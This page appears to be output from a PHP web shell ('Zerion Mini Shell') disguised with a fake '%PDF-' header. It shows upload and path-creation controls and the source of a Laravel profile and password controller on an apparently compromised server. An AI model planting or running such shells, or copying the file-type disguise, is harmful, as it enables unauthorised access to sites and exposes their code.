%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/crm-ind-code/app/Http/Controllers/Backend/Super/
Upload File :
Create Path :
Current File : //home/silvzytp/crm-ind-code/app/Http/Controllers/Backend/Super/ProfileController.php

<?php

namespace App\Http\Controllers\Backend\Super;

use App\Models\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\Hash;

class ProfileController extends Controller
{

    public function profile(){
        $user = Auth::user();
        $breadcrumb = ['Dashboard'=>route('super.dashboard'),'Profile'=>''];
        page_title('Profile');
        return view('backend.super-admin.pages.profile.profile',['breadcrumb'=>$breadcrumb,'user'=>$user]);
    }

    public function profileUpdate(Request $request){
        $user = Auth::user();
        // validate rules
        $request->validate([
            'full_name' => 'required|string|max:100',
            'email'     => 'required|email|unique:users,email,'.$user->id,
            'profile'   => 'nullable|image|mimes:png,jpg'
        ]);

        // image update
        $profile = file_update($request->file('profile'),'profile/',$user->avatar);

        $user->update([
            'name'         => $request->full_name,
            'email'        => $request->email,
            'phone_no'     => $request->phone_no,
            'country_code' => $request->country_code,
            'avatar'       => $profile
        ]);

        return back()->with('success','Profile updated successfully.');
    }

    public function password(){
        $breadcrumb = ['Dashboard'=>route('super.dashboard'),'Password'=>''];
        page_title('Password');
        return view('backend.super-admin.pages.profile.password',['breadcrumb'=>$breadcrumb]);
    }

    public function passwordUpdate(Request $request){
        // validate rules
        $request->validate([
            'old_password' => 'required',
            'password'     => 'required|min:8|max:16|confirmed',
        ]);

        if (Hash::check($request->old_password, Auth::user()->password) == true) {
            if (!Hash::check($request->password, Auth::user()->password)) {
                Auth::user()->update([
                    'password'  =>  Hash::make($request->password)
                ]);

                Auth::logout();
                return redirect()->route('login')->with('success','Password updated successfully.');
            }
            else {
                return back()->with('error','Password can not be same as old password!');
            }
        } else {
            return back()->with('error','Old password doesn\'t match!');
        }
    }

}

Zerion Mini Shell 1.0